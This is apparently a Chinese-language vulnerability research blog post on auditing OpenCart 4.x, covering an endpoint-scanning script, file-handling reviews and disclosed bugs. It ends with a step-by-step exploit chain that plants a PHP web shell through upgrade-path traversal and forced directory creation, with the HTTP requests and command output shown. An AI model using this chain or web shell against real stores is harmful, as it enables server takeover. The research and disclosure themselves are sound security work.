OpenCart漏洞挖掘

Opencart是一个基于PHP的开源电商平台GitHub - opencart/opencart: A free shopping cart system. OpenCart is an open source PHP-based online e-commerce solution.

测试版本：国际免费版v4.1

  • 基础运行环境

    1. PHP 8.0+

    2. MySQL 5.7+

    3. Apache 2.4 or Nginx1.15+

  • 组件信息

    1. AWS

    2. guzzlehttp

      • guzzle 7.8.1

      • promises 2.0.2

      • psr7

    3. mtdowling

      • jmespath.php 2.7.0

    4. psr

      • http-client 1.0.3

      • http-factory

      • http-message 1.0.1

    5. ralouphie/getallheaders

    6. scssphp

    7. symfony

    8. twig 3.8.0

架构分析

opencart采用MVC架构

在framework中根据cookie中的session_id找到当前会话储存的信息（默认在db中）

根据route参数进入对应的controller执行对应的method（默认为.index）

在controller中需要进行逻辑操作，如数据库查询时，加载model，调用model中的方法

页面渲染加载view，使用twig渲染模板

用户身份由session_id进行识别，需要用户权限的api访问携带参数customer_token，与session中储存的customer_token进行校验

管理员页面与用户页面情况相似

管理员除了session_id、user_token以外，还有access与modify权限检查

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opencart功能模块分析 - GitMind

opencart逻辑漏洞分析 - GitMind

常见平台漏洞测试

  • sql注入

    所有的sql查询都对用户输入进行了转换，字符串使用real_escape_string过滤，不太能注

  • 模板注入

    twig模板文件渲染成php脚本，代码注入无效

业务面API

未认证接口分析

使用脚本扫描业务面API，测试cookie与token是否需要，对不需要cookie与token的API进行重点分析

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#!/usr/bin/env python

import os
import re
import requests
import json

controller_path = "./deploy/upload/catalog/controller"

base_url = "http://172.23.9.22:8080/index.php?route="

def get_cookie_token():
    cookies = {}
    token = ""
    req_url = base_url + "account/login.index"
    response = requests.get(url=req_url)

    cookie = response.headers["Set-Cookie"].split("; ")[0]
    cookies[cookie.split("=")[0]] = cookie.split("=")[1]

    re_pattren = r"login_token=([0-9a-f]{26})"
    token = re.findall(re_pattren, response.text)[0]

    req_url = base_url + "account/login.login" + "&login_token=" + token
    data = {
        "email": "test1@123.com",
        "password": "test1",
    }
    response = requests.post(url=req_url, data=data, cookies=cookies)

    cookie = response.headers["Set-Cookie"].split("; ")[0]
    cookies[cookie.split("=")[0]] = cookie.split("=")[1]

    re_pattren = r"customer_token=([0-9a-f]{26})"
    token = re.findall(re_pattren, response.text)[0]
    return (cookies, token)

php_files = []

dirs = [controller_path]
while (len(dirs) != 0):
    cur_dir = dirs.pop(0)
    for d in os.listdir(cur_dir):
        next_path = cur_dir + "/" + d
        if (os.path.isdir(next_path)):
            dirs.append(next_path)
        elif (os.path.isfile(next_path) and next_path.endswith(".php")):
            php_files.append(next_path)
php_files.sort()

apis = {}
for php in php_files:
    route = php.split(controller_path+"/")[1].split(".php")[0]
    with open(php, "rt") as f:
        php_content = f.read()
    re_pattren = r"public function ([a-zA-Z][a-zA-Z0-9_\-]*)\(\): void {"
    methods = []
    for method in re.findall(re_pattren, php_content):
        methods.append(route + "." + method)
    if (len(methods) != 0):
        apis[route] = methods


cookies, customer_token = get_cookie_token()

# 通过是否重定向判断是否需要登录授权
apis_auth = {}
for route, methods in apis.items():
    if (route in ["account/login", "account/logout"]):
        continue
    methods_auth = []
    for method in methods:
        method_auth = {"method": method, "cookie": True, "token": True}
        # 带cookie 带token
        req_url = base_url + method + "&customer_token=" + customer_token
        response = requests.get(req_url, cookies=cookies, allow_redirects=False)
        if (("route=account/login" not in str(response.headers)) and ("redirect" not in response.text)):
            method_auth["cookie"] = True
            method_auth["token"] = True
        # 带cookie 不带token
        req_url = base_url + method
        response = requests.get(req_url, cookies=cookies, allow_redirects=False)
        if (("route=account/login" not in str(response.headers)) and ("redirect" not in response.text)):
            method_auth["cookie"] = True
            method_auth["token"] = False
        # 不带cookie 带token
        req_url = base_url + method + "&customer_token=" + customer_token
        response = requests.get(req_url, allow_redirects=False)
        if (("route=account/login" not in str(response.headers)) and ("redirect" not in response.text)):
            method_auth["cookie"] = False
            method_auth["token"] = True
        # 不带cookie 不带token
        req_url = base_url + method
        response = requests.get(req_url, allow_redirects=False)
        if (("route=account/login" not in str(response.headers)) and ("redirect" not in response.text)):
            method_auth["cookie"] = False
            method_auth["token"] = False
        # print(method_auth)
        methods_auth.append(method_auth)
    if (len(methods_auth) != 0):
        apis_auth[route] = methods_auth

print("method,cookie,token")
for route, methods in apis_auth.items():
    for method in methods:
        print(f'{method["method"]},{method["cookie"]},{method["token"]}')
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method,cookie,token,
account/account.index,True,True,
account/address.index,True,True,
account/address.list,True,True,
account/address.form,True,True,
account/address.save,True,True,
account/address.delete,True,True,
account/affiliate.index,True,True,
account/affiliate.save,True,True,
account/custom_field.index,False,False,查询用户组信息，无法利用
account/download.index,True,True,
account/download.download,True,True,
account/edit.index,True,True,
account/edit.save,True,True,
account/forgotten.index,True,True,
account/forgotten.confirm,True,True,
account/forgotten.reset,True,True,
account/forgotten.password,True,True,
account/newsletter.index,True,True,
account/newsletter.save,True,True,
account/order.index,True,True,
account/order.history,False,False,能够查询订单历史状态，无数据泄露
account/order.reorder,True,True,
account/password.index,True,True,
account/password.save,True,True,
account/payment_method.index,True,True,
account/payment_method.list,True,True,
account/payment_method.delete,True,True,
account/register.index,True,True,
account/register.register,True,True,
account/returns.index,True,True,
account/returns.add,True,True,
account/returns.save,True,True,
account/returns.success,True,True,
account/reward.index,True,True,
account/subscription.index,True,True,
account/subscription.history,False,False,信息查询，无数据泄露
account/subscription.order,False,False,信息查询，无数据泄露
account/success.index,True,True,
account/tracking.index,True,True,
account/tracking.autocomplete,True,True,
account/transaction.index,True,True,
account/wishlist.index,True,True,
account/wishlist.list,False,False,使用session进行鉴权
account/wishlist.add,False,False,使用session进行鉴权
account/wishlist.remove,False,False,使用session进行鉴权
api/account/login.index,True,True,
api/localisation/currency.index,True,True,
api/sale/affiliate.index,True,True,
api/sale/cart.index,True,True,
api/sale/cart.add,True,True,
api/sale/cart.edit,True,True,
api/sale/cart.remove,True,True,
api/sale/coupon.index,True,True,
api/sale/customer.index,True,True,
api/sale/order.load,True,True,
api/sale/order.comment,True,True,
api/sale/order.confirm,True,True,
api/sale/order.delete,True,True,
api/sale/order.addHistory,True,True,
api/sale/payment_address.index,True,True,
api/sale/payment_method.index,True,True,
api/sale/payment_method.save,True,True,
api/sale/reward.index,True,True,
api/sale/reward.maximum,True,True,
api/sale/reward.available,True,True,
api/sale/shipping_address.index,True,True,
api/sale/shipping_method.index,True,True,
api/sale/shipping_method.save,True,True,
api/sale/voucher.index,True,True,
api/sale/voucher.add,True,True,
api/sale/voucher.remove,True,True,
checkout/cart.index,True,True,
checkout/cart.list,False,False,使用session检测登录
checkout/cart.add,True,True,
checkout/cart.edit,False,False,使用session检测登录
checkout/cart.remove,False,False,使用session检测登录
checkout/checkout.index,False,False,使用session检测登录
checkout/confirm.confirm,True,True,
checkout/failure.index,True,True,
checkout/payment_address.save,True,True,
checkout/payment_address.address,True,True,
checkout/payment_method.getMethods,True,True,
checkout/payment_method.save,True,True,
checkout/payment_method.comment,False,False,使用session
checkout/payment_method.agree,False,False,使用session
checkout/register.save,True,True,
checkout/shipping_address.save,True,True,
checkout/shipping_address.address,True,True,
checkout/shipping_method.quote,True,True,
checkout/shipping_method.save,True,True,
checkout/success.index,True,True,
checkout/voucher.index,True,True,
checkout/voucher.add,True,True,
checkout/voucher.remove,False,False,使用seesion
checkout/voucher.success,True,True,
cms/blog.index,True,True,页面未启用
cms/blog.addComment,False,False,页面未启用
common/cart.info,True,True,
common/cart.removeProduct,False,False,使用session
common/cart.removeVoucher,False,False,使用session
common/cookie.confirm,False,False,添加cookie信息
common/currency.save,False,False,修改session与cookie信息
common/home.index,True,True,
common/maintenance.index,True,True,
cron/cron.index,False,False,定时任务，无效接口
error/not_found.index,True,True,
information/contact.index,True,True,
information/contact.send,False,False,邮件发送功能
information/contact.success,True,True,
information/gdpr.action,False,False,gdpr 邮件
information/information.info,False,False,信息查询接口
information/sitemap.index,True,True,
localisation/country.index,False,False,国家信息查询接口
product/compare.index,True,True,
product/compare.add,False,False,商品对比功能
product/manufacturer.index,True,True,
product/review.write,False,False,需要session与review_token
product/review.list,False,False,需要session与review_token
product/search.index,True,True,
product/special.index,True,True,
startup/application.index,False,False,startup为前置动作，用于主动作初始化，无需鉴权
startup/currency.index,False,False,
startup/customer.index,False,False,
startup/error.index,False,False,
startup/event.index,False,False,
startup/extension.index,False,False,
startup/language.index,False,False,
startup/marketing.index,False,False,
startup/sass.index,False,False,
startup/seo_url.index,False,False,
startup/session.index,False,False,
startup/setting.index,False,False,
startup/startup.index,False,False,
startup/tax.index,False,False,
tool/upload.index,False,False,文件上传

经功能测试与代码审计，未发现明显漏洞

文件上传下载分析

在添加订单的部分存在文件上传接口，尝试绕过前端过滤直接向API上传文件，发现仍存在过滤，查看源码分析是否存在绕过可能

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  • 字符过滤 basename过滤

    没法路径穿越，只能向指定目录上传文件

    ezprijf1

  • 后缀白名单

    检查最后一个后缀，没法通过多后缀绕过

    qb3SeQiT

  • MIME过滤

    这个过滤无所谓，改HTTP请求就行

    NkmPYek6

  • 添加随机后缀

    随机后缀，甚至不知道上传文件的真实文件名了，不太能利用文件上传

    mcK6g6i4

在账户管理中存在一个下载的接口，分析是否存在路径绕过等实现任意文件下载操作

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下载需要download_id，就是前面添加的随机后缀，根据download_id查数据库找到真实文件路径，不能手动指定下载的文件，无法利用

管理面API

由于管理API在route到对应服务时做权限检查，白名单匹配，权限方面无明显漏洞，直接对高危模块进行详细分析

文件编辑分析

在主题编辑中存在直接编辑twig模板文件的功能，尝试使用该功能实现任意文件读写操作

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使用realpath进行路径检查，只能在指定的目录中操作，不太能利用

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图片管理器文件上传

网站所有的图片上传、编辑等操作都使用图片管理器实现，该管理器有文件预览、文件上传、文件夹创建、文件删除等功能，存在利用风险

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  • 文件预览

    文件预览功能对文件名做了basename，但是路径没做过滤，存在路径绕过查看任意目录文件的可能，但是对预览文件的类型做了限制，只能预览图片文件和目录，存在漏洞但是影响较小

    Y6KWEDi4

    nQqlfUmd

  • 文件上传

    realpath+后缀白名单，无法任意目录或任意文件上传

  • 文件夹创建

    basename+realpath 无法任意目录文件夹创建

  • 删除

    realpath 无法路径穿越

数据库备份恢复

能够对数据库进行备份，下载上传删除备份文件，能够根据上传的sql文件修改数据库（该功能存在风险，但属于管理员功能，不属于漏洞）

Bz3EHld9

分析该功能的文件上传下载，同样存在basename的过滤，无法利用

文件上传

该功能可以下载和删除用户上传的文件，操作基于添加的随机后缀，无法直接指定文件名，因此也不太能利用

RDLmGKaj

日志

日志功能能够预览日志文件，下载日志文件以及清除日志文件，尝试分析该功能是否存在任意文件读写

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  • 下载

    经典basename，目录限制无法下载任意文件

    AO06xG8Y

  • 清除

    清除功能没有过滤文件名，可以直接清空任意文件（甚至是系统文件）

    83gD6DoJ

系统升级

系统的升级功能从github下载zip文件，从http参数中获取版本信息，字符串拼接得到url和文件名，通过构造version参数即可实现路径穿越，从github任意仓库下载zip文件

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在升级包安装功能中，虽然对zip文件内部文件路径做了限制，但是仍然未对version参数进行过滤，传入与download时相同的version即可解压下载的文件

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public function install(): void {
    $this->load->language('tool/upgrade');

    $json = [];

    if (isset($this->request->get['version'])) {
        $version = $this->request->get['version'];
    } else {
        $version = '';
    }

    if (!$this->user->hasPermission('modify', 'tool/upgrade')) {
        $json['error'] = $this->language->get('error_permission');
    }

    $file = DIR_DOWNLOAD . 'opencart-' . $version . '.zip';

    if (!is_file($file)) {
        $json['error'] = $this->language->get('error_file');
    }

    if (!$json) {
        // Unzip the files
        $zip = new \ZipArchive();

        if ($zip->open($file, \ZipArchive::RDONLY)) {
            $remove = 'opencart-' . $version . '/upload/';

            // Check if any of the files already exist.
            for ($i = 0; $i < $zip->numFiles; $i++) {
                $source = $zip->getNameIndex($i);

                if (substr($source, 0, strlen($remove)) == $remove) {
                    // Only extract the contents of the upload folder
                    $destination = str_replace('\\', '/', substr($source, strlen($remove)));

                    if (substr($destination, 0, 8) == 'install/') {
                        // Default copy location
                        $path = '';

                        // Must not have a path before files and directories can be moved
                        $directories = explode('/', dirname($destination));

                        foreach ($directories as $directory) {
                            if (!$path) {
                                $path = $directory;
                            } else {
                                $path = $path . '/' . $directory;
                            }

                            if (!is_dir(DIR_OPENCART . $path) && !@mkdir(DIR_OPENCART . $path, 0777)) {
                                $json['error'] = sprintf($this->language->get('error_directory'), $path);
                            }
                        }

                        // Check if the path is not directory and check there is no existing file
                        if (substr($destination, -1) != '/') {
                            if (is_file(DIR_OPENCART . $destination)) {
                                unlink(DIR_OPENCART . $destination);
                            }

                            if (!copy('zip://' . $file . '#' . $source, DIR_OPENCART . $destination)) {
                                $json['error'] = sprintf($this->language->get('error_copy'), $source, $destination);
                            }
                        }
                    }
                }
            }

            $zip->close();

            $json['text'] = $this->language->get('text_patch');

            $json['next'] = HTTP_CATALOG . 'install/index.php?route=upgrade/upgrade_1&version=' . $version . '&admin=' . rtrim(substr(DIR_APPLICATION, strlen(DIR_OPENCART), -1));
        } else {
            $json['error'] = $this->language->get('error_unzip');
        }
    }

    $this->response->addHeader('Content-Type: application/json');
    $this->response->setOutput(json_encode($json));
}
  • 漏洞利用

首先需要利用../的方式拼接url实现路径穿越，从自己的github仓库下载zip文件

例如

$version = '../../../example/example_repo/releases/download/v1.0/backdoor',

拼接前的url为https://github.com/opencart/opencart/archive/opencart-../../../example/example_repo/releases/download/v1.0/backdoor.zip,

实际url

https://github.com/example/example_repo/releases/download/v1.0/backdoor.zip. 完成下载后，调用install实现将 hack.zip 解压到 DIR_OPENCART/install.

文件名 $file = DIR_DOWNLOAD . 'opencart-' . $version . '.zip',

实际文件名 DIR_DOWNLOAD/opencart-../../../example/example_repo/releases/download/v1.0/backdoor.zip.

这需要在特定的目录下存在 opencart-.. example example_repo等文件夹.

需要找能够任意目录文件夹创建的漏洞

搜索mkdir寻找满足条件的调用，在security.storatge找到存在任意文件夹创建的漏洞

该API是修改系统的存储目录，修改之后将存储目录的内容复制到新的目录并删除原目录，但复制过程如果失败，不会修改存储目录为新目录，也不会删除新建目录

通过修改存储目录并让复制过程失败，就能实现创建任意目录

这里其实有正则表达式过滤，但表达式写错了没有过滤成功，通过传入path参数就能创建任意文件夹

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public function storage(): void {
    $this->load->language('common/security');

    if (isset($this->request->get['page'])) {
        $page = (int)$this->request->get['page'];
    } else {
        $page = 1;
    }

    if (isset($this->request->get['name'])) {
        $name = preg_replace('[^a-zA-z0-9_]', '', basename(html_entity_decode(trim($this->request->get['name']), ENT_QUOTES, 'UTF-8')));
    } else {
        $name = '';
    }

    if (isset($this->request->get['path'])) {
        $path = preg_replace('[^a-zA-z0-9_\:\/]', '', html_entity_decode(trim($this->request->get['path']), ENT_QUOTES, 'UTF-8'));
    } else {
        $path = '';
    }

    $json = [];

    if ($this->user->hasPermission('modify', 'common/security')) {
        $base_old = DIR_STORAGE;
        $base_new = $path . $name . '/';

        if (!is_dir($base_old)) {
            $json['error'] = $this->language->get('error_storage');
        }

        $root = str_replace('\\', '/', realpath($this->request->server['DOCUMENT_ROOT'] . '/../'));

        if ((substr($base_new, 0, strlen($root)) != $root) || ($root == $base_new)) {
            $json['error'] = $this->language->get('error_storage');
        }

        if (is_dir($base_new) && $page < 2) {
            $json['error'] = $this->language->get('error_storage_exists');
        }

        if (!is_writable(DIR_OPENCART . 'config.php') || !is_writable(DIR_APPLICATION . 'config.php')) {
            $json['error'] = $this->language->get('error_writable');
        }
    } else {
        $json['error'] = $this->language->get('error_permission');
    }

    if (!$json) {
        $files = [];

        // Make path into an array
        $directory = [$base_old];

        // While the path array is still populated keep looping through
        while (count($directory) != 0) {
            $next = array_shift($directory);

            foreach (glob(rtrim($next, '/') . '/{*,.[!.]*,..?*}', GLOB_BRACE) as $file) {
                // If directory add to path array
                if (is_dir($file)) {
                    $directory[] = $file;
                }

                // Add the file to the files to be deleted array
                $files[] = $file;
            }
        }

        // Create the new storage folder
        if (!is_dir($base_new)) {
            mkdir($base_new, 0777);
        }

        // Copy the
        $total = count($files);
        $limit = 200;

        $start = ($page - 1) * $limit;
        $end = $start > ($total - $limit) ? $total : ($start + $limit);

        for ($i = $start; $i < $end; $i++) {
            $destination = substr($files[$i], strlen($base_old));

            if (is_dir($base_old . $destination) && !is_dir($base_new . $destination)) {
                mkdir($base_new . $destination, 0777);
            }

            if (is_file($base_old . $destination) && !is_file($base_new . $destination)) {
                copy($base_old . $destination, $base_new . $destination);
            }
        }

        if ($end < $total) {
            $json['next'] = $this->url->link('common/security.storage', '&user_token=' . $this->session->data['user_token'] . '&name=' . $name . '&path=' . $path . '&page=' . ($page + 1), true);
        } else {
            // Start deleting old storage location files.
            rsort($files);

            foreach ($files as $file) {
                // If file just delete
                if (is_file($file)) {
                    unlink($file);
                }

                // If directory use the remove directory function
                if (is_dir($file)) {
                    rmdir($file);
                }
            }

            rmdir($base_old);

            // Modify the config files
            $files = [
                DIR_APPLICATION . 'config.php',
                DIR_OPENCART . 'config.php'
            ];

            foreach ($files as $file) {
                $output = '';

                $lines = file($file);

                foreach ($lines as $line_id => $line) {
                    if (strpos($line, 'define(\'DIR_STORAGE') !== false) {
                        $output .= 'define(\'DIR_STORAGE\', \'' . $base_new . '\');' . "\n";
                    } else {
                        $output .= $line;
                    }
                }

                $file = fopen($file, 'w');

                fwrite($file, $output);

                fclose($file);
            }

            $json['success'] = $this->language->get('text_storage_success');
        }
    }

    $this->response->addHeader('Content-Type: application/json');
    $this->response->setOutput(json_encode($json));
}

Exploit
Steps to reproduce the behavior:

  1. create the backdoor.zip and create a repo

    1
    <?php @system($_GET["cmd"]);?>
    1
    zip backdoor.zip opencart-../../../example/example_repo/releases/download/v1.0/backdoor/upload/install/backdoor.php

  2. create directory opencart-..

    1
    GET /admin/index.php?route=common/security.storage&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&path=/var/www/html/system/storage/download/opencart-.. HTTP/1.1

  3. create directory /var/www/html/system/storage/example/example_repo/releases/download/v1.0 like step 2

    1
    2
    GET /admin/index.php?route=common/security.storage&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&path=/var/www/html/system/storage/example HTTP/1.1
    ...

  4. trigger download to download the backdoor.zip

    1
    GET /admin/index.php?route=tool/upgrade.download&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&version=../../../example/example_repo/releases/download/v1.0/backdoor HTTP/1.1

  5. trigger install to unzip the backdoor.zip

    1
    GET /admin/index.php?route=tool/upgrade.install&user_token=9fce5f4ac242980e6ec62cbdd72ceff8&version=../../../example/example_repo/releases/download/v1.0/backdoor HTTP/1.1

  6. now backdoor.php in /var/www/html/install/

    1
    2
    ➜ curl http://192.168.254.4:8080/install/backdoor.php\?cmd\=pwd
    /var/www/html/install

影响范围

  • 日志清除

存在文件清空漏洞，23b9d53引入，0a8dd91修复，影响版本4.0.0.0至最新版

  • 任意文件夹创建

bc60f21中修复了正则匹配，导致无法创建包含-的文件夹，影响版本4.0.0.0至最新版

  • 升级包下载

由于目录创建修复了正则匹配，无法创建包含-的文件夹，最新代码难以利用，影响版本4.0.0.0至最新版

ctp-wp
#WEB
OpenCart漏洞挖掘
https://blog.noxke.fun/2024/07/03/ctf_wp/OpenCart漏洞挖掘/
作者
noxke
发布于
2024年7月3日
许可协议